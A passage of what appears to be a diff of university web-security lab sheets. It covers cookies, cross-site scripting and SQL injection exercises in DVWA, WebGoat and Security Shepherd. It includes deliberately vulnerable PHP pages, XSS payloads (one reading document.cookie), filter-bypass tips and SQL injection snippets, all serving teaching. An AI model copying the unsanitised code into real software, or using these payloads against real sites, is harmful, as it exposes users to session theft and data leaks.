> Hint: Some of the challenges will require you to devise a brute-force attack using the Fuzzer. Make sure you are familiar with creating payloads and using payload processors. A list of built-in payload processors available in Zap can be found here: [https://www.zaproxy.org/docs/desktop/addons/fuzzer/processors/](https://www.zaproxy.org/docs/desktop/addons/fuzzer/processors/)
> Hint: If you opt for fuzzing the date formats in Challenge 5, you can use this list as an example. Remember to adjust the dates and times accordingly.
```
Tue Mar 16 15:26:35 2021
Tue Mar 16 15:26:35 GMT 2021
Tue Mar 16 15:26:35 -0000 2021
Tue 16 Mar 15:26:35 2021
Tue 16 Mar 15:26:35 GMT 2021
Tue 16 Mar 15:26:35 -0000 2021
16 Mar 20 15:13 GMT
16 Mar 20 15:13 -0000
Mar 16 20 15:13 GMT
Mar 16 20 15:13 -0000
Tuesday, 16-Mar-20 15:26:35 GMT
Tue, 16 Mar 2021 15:26:35 GMT
Tue, 16 Mar 2021 15:26:35 -0000
Tuesday, Mar-16-20 15:26:35 GMT
Tue, Mar 16 2021 15:26:35 GMT
Tue, Mar 16 2021 15:26:35 -0000
2021-16-03T15:26:35Z07:00
2021-16-03T15:26:35.999999999Z07:00
2021-03-16T15:26:35Z07:00
2021-03-16T15:26:35.999999999Z07:00
```
### Poor Data Validation Tips {#poor-data-validation-tips}
> Hint: Use the browser's developer tools to widen the quantity boxes so you can see what you are buying (or send the requests using Zap). Experiment with unexpected numbers and/or numbers way outside the expected range.
### ~~Security Misconfigurations Tips~~ {#security-misconfigurations-tips}
~~The "Security Misconfigurations" challenge involves stealing another user's cookies, but you will not be able to sniff other students' traffic on the network. In order to complete the challenge, **you will need to create a new user in Security Shepherd** (remember to log back in as your main user to complete the task, or we will not be able to see your results). You will also need to use a different tool. Remember web proxies such as Zap work at the **application** layer of the OSI model. You will need a packet analyser such as Wireshark to sniff traffic at the **network** layer.~~
~~Start Wireshark ("Applications" menu, "09 - Sniffing and Spoofing", "Wireshark").~~
![][image-8]
*Wireshark interface*
~~Double-click on the network interface you want to analyse (eth0), and you will start to see packets captured in real-time. Experiment with different filters to narrow down the results displayed. Documentation on how to build display filters for Wireshark can be found here: [https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html](https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html)~~
~~Filter example:~~
![][image-9]
*Wireshark filter example*
### General Reminders {#general-reminders}
Please try to work through the Security Shepherd challenges by first referencing information about the concepts (for example, read about SQL injection attacks), and only as a last resort you may refer to online write ups about how to complete the OWASP Security Shepherd tasks. You will get more from the learning experience by completing the challenges without direct guidance; however, if you are truly stuck there are plenty of online resources.
> Flag: Remember to submit your flags via Hacktivity.
## Conclusion {#conclusion}
At this point you have:
* Learned what cookies are and what they are used for
* Simulated the interactions between a client and a Web server using Firefox and the built-in PHP webserver to understand how cookies are exchanged between the client and the server
* Used a web proxy to view and alter cookies in client requests and view the Set-Cookie header in server responses
* Used a PHP function to set session cookies and observed how these are not persisted when the browser is closed.
* Used more complex features of the Fuzzer such as payloads and payload processors to automate brute-force attacks.
* Used DVWA to observe three different ways of generating session ids and understood the vulnerabilities associated with each approach.
* Used Security Shepherd to learn about session management, poor data validation and security misconfigurations, and completed challenging tasks involving encryption and fuzzing
Congratulations! Some of the challenges this week were quite demanding and required a bit of thinking outside the box. Not much different from the real challenges you are likely to encounter as a pen tester or ethical hacker.
[image-1]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/2_sessions_and_cookies/image-9.png

532
_labs/web_security/3_xss.md Normal file
View File

@@ -0,0 +1,532 @@
---
title: "Web Security: Cross-Site Scripting"
author: ["Thalita Vergilio"]
license: "CC BY-SA 4.0"
description: "Learn about Cross-Site Scripting (XSS) attacks through hands-on exercises using DVWA, WebGoat, and Security Shepherd. Understand reflected, stored, and DOM-based XSS vulnerabilities and their mitigation."
overview: |
In this web security lab you will delve into the critical realm of web application security, focusing specifically on the pervasive threat of Cross-Site Scripting (XSS). XSS is a type of injection attack where malicious code is inserted into a trusted website, often exploiting vulnerabilities in user input handling. The lab covers three main types of XSS attacks: Reflected, Stored, and DOM-Based. These attacks involve injecting malicious scripts into a web application, potentially compromising user data, sessions, and overall security. The lab introduces theoretical concepts behind XSS and provides hands-on experience through practical exercises and challenges.
Throughout this lab, you will engage with various learning resources, including Damn Vulnerable Web App (DVWA), OWASP WebGoat and WebWolf, and OWASP Security Shepherd. The hands-on activities involve creating and manipulating PHP pages, implementing XSS filters, and exploring vulnerabilities in web applications using DVWA challenges. You will also work with WebGoat and Security Shepherd to further validate your understanding of XSS attacks in different scenarios. By the end of this lab, you will have gained practical insights into identifying, exploiting, and mitigating XSS vulnerabilities, a crucial skill in the field of web security.
tags: ["web-security", "xss", "cross-site-scripting", "dvwa", "webgoat", "security-shepherd"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1f7hD_sZnBChklLZmskpxp1dIJUG9Ntw_06t76ltnPTk/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["cookies", "JAVASCRIPT", "HYPERTEXT MARKUP LANGUAGE (HTML)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "SESSION HIJACKING", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Client-Side Vulnerabilities and Mitigations"
keywords: ["client-side storage", "CLIENT-SIDE VALIDATION"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["injection vulnerabilities", "server-side misconfiguration and vulnerable components", "CROSS-SITE SCRIPTING (XSS)", "BACK-END"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Prevention of Vulnerabilities"
keywords: ["coding practices", "Protecting against session management attacks, XSS, SQLi, CSRF"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==.
==action: Login with username "kali", password "kali"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## Understanding cross-site scripting {#understanding-cross-site-scripting}
Cross-site scripting is a type of injection attack where malicious client-side code (typically Javascript) is inserted into a trusted website and executed on the client. There are three types of cross-site scripting:
### Reflected {#reflected}
This is the most common type of cross-site scripting attack. It generally occurs when a web-application takes input from the user via a form field and reflects it back to the user without appropriate sanitisation. An attacker will typically send the untrusted code as a parameter embedded in a URL for a trusted website, then get the victim to click on the link by posting it on the Internet or e-mailing it directly to them.
### Stored {#stored}
In this type of cross-site scripting attack, the malicious script is posted to a trusted server and typically stored in a database. It is then sent out to every client that requests the page. Because it does not require the user to click on any links, this is considered the most dangerous type of cross-site scripting. An example of this type of attack is when malicious scripts are posted in online forums or message boards. If not properly escaped or sanitised, the script in the malicious post could run on every client that visits the page.
### DOM-Based {#dom-based}
This type of cross-site scripting attack is becoming more common with the rise in popularity of Javascript frameworks such as Angular and React. On the one hand, these frameworks offer a more responsive user experience by moving some of the application behaviour to the client side. On the other hand, however, the attack surface on the client side is also increased. In a DOM-based cross-site scripting attack, the malicious script is injected into the client (e.g. via a malicious URL) and runs only on the client, modifying their view of the original website, its data and/or behaviour.
## A simple example {#a-simple-example}
We are going to create a very simple page which uses PHP to get a parameter called "name", passed as a query string, and reflect its value back to the user (with no sanitisation).
==action: Open a terminal and type the command below to create a file called hello.php==.
```bash
vi hello.php
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
$name = $_REQUEST['name'];
session_start();
?>
<html>
<body>
Hello, <?php echo $name; ?>!
</body>
</html>
```
==action: Press the "ESC" key to exit "insert mode"==.
Now to ==action: quit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
> Note: 127.0.0.1 is the IPv4 loopback address for [localhost](https://en.wikipedia.org/wiki/Localhost) (it connects back to the same computer, locally). We need to tell the PHP built-in-webserver to listen on a specific IP address.
==action: From Firefox visit:==
```
http://localhost:8075/hello.php?name=bob
```
You should see a dynamic page load, reflecting the name passed as a parameter.
==action: Replace "bob" with== `<script type='text/javascript'>alert('xss vulnerability!');</script>`
You should see the alert pop up.
> Question: Which type of cross-site scripting did you execute?
> Question: How would you fix the code to make it more resilient against this type of attack?
## Now let's see if we can steal the session ID cookie.
==action: Replace the previous script with==
`<script type='text/javascript'>alert(document.cookie);</script>`
> Question: **What could a malicious user do with this type of information?**
## Bypassing naïve filter implementations {#bypassing-naïve-filter-implementations}
Many web developers attempt to implement their own filters to protect their applications against cross-site scripting. We are now going to implement a filter, based on a regular expression, that looks for `<script>` tags and replaces them with an empty string.
==action: Stop the PHP server by pressing Ctrl + C==.
==action: In the terminal, type the command below to create a new file called helloFiltered.php==.
```bash
vi helloFiltered.php
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
$name = preg_replace('#<script(.*?)>(.*?)</script>#is', '', $_REQUEST['name']);
session_start();
?>
<html>
<body>
Hello, <?php echo $name; ?>!
</body>
</html>
```
==action: Press the "ESC" key to exit "insert mode"==.
Now to ==action: quit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
==action: To check that things are working as expected, switch to Firefox and visit:==
```
http://localhost:8075/helloFiltered.php?name=bob
```
You should see the same dynamic page as you saw in the previous exercise, reflecting the name passed as a parameter back to the user.
Let's do the same cross-site scripting vulnerability test we did before. ==action: Replace "bob" with==
```
<script type='text/javascript'>alert('xss vulnerability!');</script>
```
> Question: Did the alert window pop up?
==action: Right-click on the page and select "View Page Source"==.
> Question: What happened to your script tags?
==action: Try using the following alternatives:==
* `<img src=x onerror="alert('xss vulnerability!')">`
* `<b onmouseover="alert('xss vulnerability!')">click me</b>`
> Question: Did it work this time?
In this example, the developer used his own regular expression implementation to filter out script tags. ==hint: Can you see any problems with this approach?==
> Question: What would be a better alternative to sanitise the string passed in as a parameter?
## Using existing libraries for string sanitisation {#using-existing-libraries-for-string-sanitisation}
Let's try using a filter provided by PHP for string sanitisation.
==action: Stop the PHP server by pressing Ctrl + C==.
==action: In the terminal, type the command below to create a new file called helloSanitised.php==.
```bash
vi helloSanitised.php
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
$name = filter_var($_REQUEST['name'], FILTER_SANITIZE_STRING);
session_start();
?>
<html>
<body>
Hello, <?php echo $name; ?>!
</body>
</html>
```
==action: Press the "ESC" key to exit "insert mode"==.
Now to ==action: quit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
==action: To check that things are working as expected, switch to Firefox and visit:==
```
http://localhost:8075/helloSanitised.php?name=bob
```
You should see the same dynamic page as you saw in the previous exercises, reflecting the name passed as a parameter back to the user.
==action: Try the same tests you did before. Replace "bob" with:==
* `<script type='text/javascript'>alert('xss vulnerability!');</script>`
* `<img src=x onerror="alert('xss vulnerability!')">`
* `<b onmouseover="alert('xss vulnerability!')">click me</b>`
> Question: Did any of them work this time?
> Question: Would you say this approach is 100% secure?
## Tips for all challenges {#tips-for-all-challenges}
Try the suggestions below as a starting point. If you are trying to get through filters on the server side, experiment with tweaking the input (e.g. mixing upper and lower case, inserting a copy of the word that is getting filtered out inside itself). Pay close attention to what is reflected back to the client and use it as a guide to craft your next attempt.
| Suggestions for cross-site scripting testing |
| :---- |
| \<script\>alert('XSS')\</script\> |
| \<img src="\#" onerror="alert('XSS')"/\> |
| \<input type="button" onclick="alert('XSS')"/\> |
| \<iframe src="javascript:alert('XSS');"\>\</iframe\> |
| \<b onmouseover="alert(XSS')"\>click me\!\</b\> |
(remember to click on the button generated and hover over the `<b\>` tag)
## DVWA challenges {#dvwa-challenges}
==action: In Firefox, navigate to== `http://localhost/` and ==action: log in using the default credentials: admin/password==.
### Low Security Level {#low-security-level}
DVWA has four different security levels: low, medium, high and impossible. ==action: Select "DVWA Security" from the left-hand side menu and read the information about what the different security levels mean==. ==action: Ensure "low" is selected==.
#### Reflected {#reflected-1}
==action: Select "XSS (Reflected)" from the left-hand side menu==.
==action: Enter any string==.
Note how the string is reflected on the page.
==action: Test if the application is vulnerable to cross-site scripting== by entering one of the [strings](#tips-for-all-challenges) provided earlier.
> Question: Does the user input appear to be validated or sanitised in any way?
==action: Click on the "View Source" button to check if your assumption was correct==.
> Tip: As a learning tool, DVWA makes the PHP source code available for you to view. Under normal circumstances, unless you were performing white-box testing, you would have no access to the server-side code.
#### DOM-based {#dom-based-1}
==action: Select "XSS (DOM)" from the left-hand side menu==. ==action: Choose a language from the dropdown list and click "Select"==. Observe what happens to the query parameters in the address bar of the browser every time a new language is selected.
==action: Test if the application is vulnerable to cross-site scripting by replacing the parameter value with one of the [strings](#tips-for-all-challenges) provided earlier==.
![][image-3]
*DOM-based XSS testing*
> Question: Does the parameter sent to the server appear to be validated or sanitised in any way?
==action: Click on the "View Source" button to check if your assumption was correct==.
#### Stored {#stored-1}
==action: Select "XSS (Stored)" from the left-hand side menu==.
==action: Test if the application is vulnerable to cross-site scripting== by posting a message with one of the [strings](#tips-for-all-challenges) provided earlier as its content.
==action: Press F5 to refresh the page==.
> Question: Why is this type of cross-site scripting attack more dangerous than the two previous ones?
### Medium Security Level {#medium-security-level}
==action: Select "DVWA Security" from the left-hand side menu and change the security level to "medium"==.
#### Reflected {#reflected-2}
==action: Select "XSS (Reflected)" from the left-hand side menu and try entering the same string you entered for the lower security level==.
> Question: Does the user input appear to be validated or sanitised in any way?
> Question: What else could you try?
==action: Test other values from the list== of [strings](#tips-for-all-challenges) provided earlier.
> Question: Did any of them work? Which ones?
==action: Click on "View Source" to have a look at the server-side code and use this information to get a XSS attack working==.
#### DOM-Based {#dom-based-2}
==action: Select "XSS (DOM)" from the left-hand side menu==.
Choose a language from the drop-down list and click “Select”. Now look at the parameter value in the browsers address bar and try replacing it with the [strings](#tips-for-all-challenges) you used before.
> Question: Can you figure out why none of them works this time?
> Tip: The parameter passed in is rendered within a "<select>" tag so it appears as an option in the dropdown list. It is also filtered. If you find a way to get your script outside the "<select>" tag, there is a possibility that the string may not be filtered. Try closing the "<select>" tag and getting a test string to be rendered outside it:
| ![][image-4] | ![][image-5] |
| :---- | :---- |
| Rendered inside the `<select>` tag. | Rendered outside the `<select>` tag. |
==action: Now replace "test"== with the [strings](#tips-for-all-challenges) you have been working with and see if you can find one that works.
> Question: Did any of them work?
==action: Click on the "View Source" button at the bottom of the page==.
> Question: Does the server-side code look like what you expected?
#### Stored {#stored-2}
==action: Select "XSS (Stored)" from the left-hand side menu==. ==action: Click on "Clear Guestbook" to stop getting alerts from the exercise you completed before==.
==action: Let's start by using the suggested== [strings](#tips-for-all-challenges) you've been working with in the "Message" box.
> Question: Did any of them work?
> Tip: It looks like the box is pretty secure. We may need to attack the "Name" field instead.
> Tip: The input field has a limit of 10 characters, which is not really long enough for any of our test strings. Can you think of a way of bypassing this limitation using the browser's developer tools (F12)?
Once you have worked out how to change the maximum length allowed for the "Name" field, ==action: try entering== the [strings](#tips-for-all-challenges) you have been working with in this field.
> Question: Did any of them work?
==action: Click on the "View Source" button at the bottom of the page==.
> Question: Does the server-side code look like what you expected?
### High Security Level {#high-security-level}
==action: Select "DVWA Security" from the left-hand side menu and change the security level to "high"==.
#### Reflected {#reflected-3}
==action: Select "XSS (Reflected)" from the left-hand side menu and try the values== from the list of [strings](#tips-for-all-challenges) provided earlier.
> Question: Did any of them work?
==action: Click on the "View Source" button at the bottom of the page==.
> Question: Why does this implementation provide weak protection against cross-site scripting attacks?
#### DOM-Based {#dom-based-3}
==action: Select "XSS (DOM)" from the left-hand side menu==. ==action: Choose a language from the drop-down list and click "Select"==. Now look at the parameter value in the browser's address bar and ==action: try replacing it== with the [strings](#tips-for-all-challenges) you used before.
This is a more difficult challenge, as the server is whitelisting the strings it accepts. ==action: You can see this by clicking on the "View Source" button at the bottom of the page==.
![][image-6]
*Server-side whitelist code*
> Tip: As you tried the [strings](#tips-for-all-challenges) provided, you may have noticed, incidentally, that some text was reflected back to the user with the string below:
![][image-7]
*Reflected text example*
![][image-8]
*URL fragment example*
> Tip: Note how everything after the "#" was rendered inside the dropdown list. This is a good starting point. You can try sending your script as a HTML fragment (appended to the URL following a "#"):
![][image-9]
*HTML fragment attack example*
> Question: Was the attack successful?
> Tip: If your script is not being picked up, try changing the value for the language and re-submitting.
#### Stored {#stored-3}
==action: Select "XSS (Stored)" from the left-hand side menu==. ==action: Click on "Clear Guestbook" to stop getting alerts from the exercise you completed before==.
This level is not much different from the previous level (medium), [follow the same steps](#stored-2) and try the different [strings](#tips-for-all-challenges) provided.
## Log in to WebGoat and work through learning tasks {#log-in-to-webgoat-and-work-through-learning-tasks}
==action: Access WebGoat by visiting:==
```
http://localhost:8085/WebGoat
```
==action: Log in (create a new user if you are on a new VM)==.
> Action: This week, work through (and refer to the tips below):
> Action: * Cross-Site Scripting (1-12)
### General Tips {#general-tips}
Sometimes WebGoat will mark tasks you have just completed as red. If you refresh the page and wait, they may turn back to green. This is a bug in the application which can be quite annoying, but it doesnt stop you from completing future tasks. Our advice is to just ignore it for now. Let us know if it becomes a problem.
You may want to set up the filters again in Zap to exclude internal requests from the WebGoat framework. In the History tab, at the bottom,
==action: Click on the filter icon==.
==action: Enter the following information:==
| URL Inc Regex | URL Exc Regex |
| :---- | :---- |
| `http://localhost:8085/WebGoat/.*` | `.*/WebGoat/service/.*mvc` |
==action: Click “Apply”==.
Dont forget to delete these filter settings when you switch to a different learning platform, e.g. Security Shepherd.
### Exercise 2 Tips {#exercise-2-tips}
The Javascript alert code does not work from the Firefox address bar. To complete this exercise, ==action: try running it on Chrome, outside the Kali VM==. Remember that, if you cut and paste, you will need to add the “javascript:” back in.
### Exercise 10 Tips {#exercise-10-tips}
The base route is: `start.mvc#lesson/`
The test route is something similar. Use the developer tools in Firefox to look at the source scripts and search for “route”. Open the Javascript file and see if you can find the test route.
### Exercise 11 Tips {#exercise-11-tips}
You may need to escape the forward slash “/”. Use “`%2F`” instead.
You will most likely need a proxy to analyse the response and find the secret number to submit.
## Log into Security Shepherd and work through assessed tasks {#log-into-security-shepherd-and-work-through-assessed-tasks}
> Flag: For this week, **complete the challenges for:**
* **Cross-Site Scripting (XSS)**
### Challenge 2 Tips {#challenge-2-tips}
> Hint: Some event attributes are being filtered, but maybe not all of them. Have a look at the list below for other possibilities:
[https://www.w3schools.com/tags/ref_eventattributes.asp](https://www.w3schools.com/tags/ref_eventattributes.asp)
### Challenge 3 Tips {#challenge-3-tips}
> Hint: It looks like the filters that remove the unwanted words are being applied in a loop. Try inserting a copy of the word that is getting filtered out inside itself. Several times!
### Challenge 4 Tips {#challenge-4-tips}
> Hint: The string you enter representing an URL is being rendered inside an anchor tag (`<a>`). Experiment with using double quotation marks to end the string, and inserting your script as an attribute of the anchor tag. If your event attribute is getting filtered or sanitised, try mixing cases.
### Challenges 5 and 6 Tips {#challenges-5-and-6-tips}
> Hint: These are not very difficult and are similar to Challenge 4. It is all about ending the URL string inside the anchor tag, then inserting your script as an event attribute.
## Conclusion {#conclusion}
At this point you have:
* Learned about cross-site scripting attacks and understood what makes a web application vulnerable to them
* Simulated the interactions between a client and a Web server using Firefox and the built-in PHP webserver to understand how malicious code sent by a client is reflected by the server and executed on the client
* Understood the implications of using naïve filter implementations and compared this approach to using a trusted library for sanitising user input on the server side
* Learned about the three different types of cross-site scripting attacks: reflected, DOM-based and stored, and used DVWA to gain a practical understanding of these types of attacks
* Completed lessons and challenges independently using both the WebGoat and Security Shepherd learning platforms to verify your knowledge of cross-site scripting in a practical context
Congratulations\! This weeks lab was longer than usual, with more tasks to complete in all three learning platforms. Cross-site scripting is the most prevalent type of web application attack, so it is important that you build a solid foundation by practicing in a variety of different scenarios.
[image-1]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/3_xss/image-9.png

View File

@@ -0,0 +1,435 @@
---
title: "Web Security: SQL Injection"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Learn about SQL injection attacks through hands-on exercises using DVWA, OWASP WebGoat, and Security Shepherd. Understand SQL injection vulnerabilities, blind SQL injection, and mitigation strategies."
overview: |
In this web security lab you will delve into the critical realm of SQL injection attacks, a prevalent threat to web applications. SQL injection occurs when untrusted data is injected into a database query, exploiting vulnerabilities in the application's handling of user inputs. The lab adopts a hands-on approach, utilizing hands-on learning resources such as Damn Vulnerable Web App (DVWA), OWASP WebGoat, and OWASP Security Shepherd to guide you through understanding, detecting, and mitigating SQL injection vulnerabilities. The lab emphasizes the importance of working through different layers of security, from client-side validation to application-level filtering, to ultimately interact with the database directly. Through practical exercises and challenges, you will gain an understanding of SQL injection, including blind SQL injection attacks, and learn essential techniques to secure web applications against these threats.
Throughout this lab, you will engage in a series of tasks across various platforms. Starting with WebGoat, you will log in and progress through SQL injection exercises, honing your skills in crafting attacks and understanding mitigation strategies. In DVWA challenges, you will undertake guided walk-throughs at low, medium, and high security levels to retrieve passwords, crack hashed passwords, and master blind SQL injection. Further, Security Shepherd tasks will enhance your skills in session management and SQL injection, reinforcing your ability to apply theoretical concepts in real-world scenarios. By the end, you will have not only learned about SQL injection but also independently completed challenges, solidifying your expertise in securing web applications against this pervasive security threat.
tags: ["web-security", "sql-injection", "dvwa", "webgoat", "security-shepherd", "blind-sql-injection"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1G_b4f25ufopbDw6djpO1D-nhbJ7vFOCY-QZJtoTUSKg/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["HYPERTEXT MARKUP LANGUAGE (HTML)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "DATABASE", "SESSION HIJACKING", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["injection vulnerabilities", "server-side misconfiguration and vulnerable components", "SQL-INJECTION", "BACK-END", "BLIND ATTACKS"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Prevention of Vulnerabilities"
keywords: ["coding practices", "Protecting against session management attacks, XSS, SQLi, CSRF"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs {#general-notes-about-the-labs}
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you havent already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==.
==action: Login with username "Kali", password "Kali"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## Understanding SQL injection {#understanding-sql-injection}
SQL injection occurs when untrusted data is sent to a database as part of a SQL query. It often occurs when an application builds a SQL query dynamically, concatenating user-entered data into a string that is then sent to the database to be executed as a query.
==action: Read== the [OWASP definition of SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection).
A successful SQL injection attack usually needs to work through different layers of security before it executes on the database. User input could be validated on the client, for example, then filtered/escaped/sanitised at application level on the server before it is finally sent to the database as part of a query. When crafting an attack, a good approach is to work through one level at a time. Aim to pass through the application layer until you get a database error, which indicates you are talking to the database directly. From then on, it is just a matter of fixing your SQL syntax and refining your query to get the data you want, delete/update records, modify the database schema, or even issue commands to the operating system.
Some SQL injection attacks can be quite complex, so understand which layer of security you are trying to attack and work one step at a time. The illustration below shows the typical three layers of a web applications architecture, together with some security considerations to bear in mind when attempting a SQL injection attack.
> Question: Can you think of any others?
![][image-3]
## Tips for all challenges {#tips-for-all-challenges}
The `CHAR` function (`CHR` in Oracle) converts an ASCII character (an integer between 0 and 256\) into a string character. It is useful for cases where the characters you want to type are being escaped or filtered. For example:
`SELECT CHAR(34);` \=\> evaluates to " (double-quotes)
`SELECT CHAR(27);` \=\> escapes the next character
`SELECT CHAR(73,110,106,101,99,116,105,111,110);` \=\> can you guess this one?
The URL below has a handy conversion table:
[https://www.mssqltips.com/sqlservertip/6022/sql-server-char-function-and-reference-guide/](https://www.mssqltips.com/sqlservertip/6022/sql-server-char-function-and-reference-guide/)
Try the suggestions below as a starting point. If you are trying to get through filters on the server side, experiment with different ways of writing your query (e.g. using double instead of single quotation marks if the target database allows it). If you save your own copy of the lab sheet, you can use the blank cells to record your own useful snippets.
| Useful snippets for SQL injection | Comments |
| :---- | :---- |
| `' OR '1' = '1` <br> `' OR '1' != '2` | Variations: double quotation marks, no quotation marks, no spaces. |
| `--` | This comments out the rest of the statement. Also try `#`. |
| `SELECT table_name FROM information_schema.tables WHERE table_name = xxx` | To check if a table exists. Remove the WHERE clause to get a list of all table names. |
| `SELECT table_name, column_name FROM information_schema.tables WHERE column_name = xxx` | To check if a column exists. Remove the WHERE clause to get a list of all column names. |
| `CASE WHEN (condition) THEN valueIfTrue ELSE valueIfFalse END` | Useful when attempting blind SQL injection attacks. |
| | |
| | |
| | |
## Log in to WebGoat and work through learning tasks {#log-in-to-webgoat-and-work-through-learning-tasks}
==action: Access WebGoat by visiting:==
```
http://localhost:8085/WebGoat
```
==action: Log in (create a new user if you are on a new VM)==.
> Action: This week, work through (and refer to the tips below):
> Action: * Cross-Site Scripting (1-12)
### General Tips {#general-tips}
Sometimes WebGoat will mark tasks you have just completed as red. If you refresh the page and wait, they may turn back to green. This is a bug in the application which can be quite annoying, but it doesnt stop you from completing future tasks. Our advice is to just ignore it for now. Let us know if it becomes a problem.
You may want to set up the filters again in Zap to exclude internal requests from the WebGoat framework. In the History tab, at the bottom,
==action: Click on the filter icon==.
==action: Enter the following information:==
| URL Inc Regex | URL Exc Regex |
| :---- | :---- |
| `http://localhost:8085/WebGoat/.*` | `.*/WebGoat/service/.*mvc` |
==action: Click “Apply”==.
> Note: Dont forget to delete these filter settings when you switch to a different learning platform, e.g. Security Shepherd.
### Intro \- Exercise 3 Tips {#intro---exercise-3-tips}
You may need to go back to Lesson 2 and make a note of the column names you need.
### Advanced \- Exercise 3 Tips {#advanced---exercise-3-tips}
